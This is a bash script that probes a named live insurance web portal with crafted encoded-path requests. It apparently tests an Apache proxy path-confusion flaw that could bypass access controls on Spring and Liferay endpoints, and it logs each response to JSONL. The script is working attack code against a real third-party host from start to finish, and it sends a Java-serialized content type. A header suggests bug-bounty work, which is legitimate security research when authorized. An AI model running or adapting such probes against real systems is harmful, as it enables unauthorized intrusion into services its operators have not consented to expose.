#!/usr/bin/env bash
set -euo pipefail
out=work/scratch/liferay-critical/apache-38473-probe.jsonl
: > "$out"
paths=(
'/api/spring/portal%3Ftest.php'
'/api/spring/portal%3ftest'
'/api/spring/portal%253Ftest.php'
'/api/liferay/do%3Ftest.php'
'/api/secure/spring/portal%3Ftest.php'
'/c/portal/portlet_url%3Ftest.php'
'/api/spring/portal%3F/CSRFT759.js'
'/api/liferay/do%3F/CSRFT759.js'
)
for p in "${paths[@]}"; do
  hdr=$(mktemp); body=$(mktemp); err=$(mktemp)
  set +e
  curl -sk --http1.1 --path-as-is --max-time 12 --request-target "$p" \
    -X POST 'https://infoportal.baloise.de/' \
    -H 'Host: infoportal.baloise.de' -H 'X-Bug-Bounty: dwbzn' \
    -H 'Content-Type: application/x-java-serialized-object' \
    --data-binary 'BB' -D "$hdr" -o "$body" 2>"$err"
  rc=$?
  set -e
  status=$(awk 'toupper($1) ~ /^HTTP\// {s=$2} END{print s+0}' "$hdr")
  loc=$(awk 'tolower($0) ~ /^location:/ {sub(/^[^:]*:[[:space:]]*/,""); sub(/\r$/,""); print; exit}' "$hdr")
  ctype=$(awk 'tolower($0) ~ /^content-type:/ {sub(/^[^:]*:[[:space:]]*/,""); sub(/\r$/,""); print; exit}' "$hdr")
  bytes=$(wc -c < "$body")
  preview=$(head -c 240 "$body" | tr '\r\n' '  ')
  xid=$(grep -Eo 'exchange [0-9a-f-]+' "$err" | tail -1 | awk '{print $2}')
  jq -nc --arg path "$p" --argjson rc "$rc" --argjson status "$status" --arg location "$loc" --arg ctype "$ctype" --argjson bytes "$bytes" --arg preview "$preview" --arg exchange "$xid" '{path:$path,rc:$rc,status:$status,location:$location,content_type:$ctype,bytes:$bytes,preview:$preview,exchange:$exchange}' >> "$out"
  rm -f "$hdr" "$body" "$err"
done
jq -r '[.status,.bytes,.path,.location,.content_type,.preview,.exchange] | @tsv' "$out"